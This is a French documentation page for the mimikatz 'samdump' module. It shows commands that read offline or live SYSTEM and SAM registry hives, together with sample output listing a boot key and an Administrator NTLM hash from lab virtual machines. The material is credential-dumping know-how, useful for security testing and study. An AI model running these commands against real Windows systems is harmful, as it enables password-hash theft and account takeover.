samdump

Dump des hashes et bootkey, via ruches offlines ou onlines

Méthodes :

• hashes
• bootkey

samdump :: hashes

Description : Dump des hashes et de la bootkey
Arguments : [system sam]
Remarques :

• Les fichiers des bases SYSTEM et SAM courantes sont verrouillés lors du fonctionnement de Windows
• Pour lire les bases SYSTEM et SAM en ligne (sans argument), il convient d’être SYSTEM ou de modifier les ACL

Exemple : samdump::hashes z:\windows\system32\config\system z:\windows\system32\config\sam

mimikatz # samdump::hashes z:\windows\system32\config\system z:\windows\system32\config\sam
Ordinateur : VM-W2K8R2-ENT-X
BootKey    : c4ed5743f54e4f1fdc6cca89723335ce

Rid  : 500
User : Administrateur
LM   :
NTLM : cc36cf7a8514893efccd332446158b1a

Rid  : 501
User : Invité
LM   :
NTLM :

samdump :: bootkey

Description : Dump de la bootkey
Arguments : [system]
Remarques :

• Le fichier de la base SYSTEM est verrouillé lors du fonctionnement de Windows
• Pour lire la SYSTEM en ligne (sans argument), il convient d’être SYSTEM ou de modifier les ACL

Exemple : samdump::bootkey

mimikatz # samdump::bootkey
Ordinateur : VM-W7-ULT
BootKey    : 1800be35474b1bf87042613dd90190c0

mimikatz # samdump::bootkey c:\system
Ordinateur : VM-W7-ULT-X
BootKey    : 5d850420e7d5ca645f6073816dde0c4b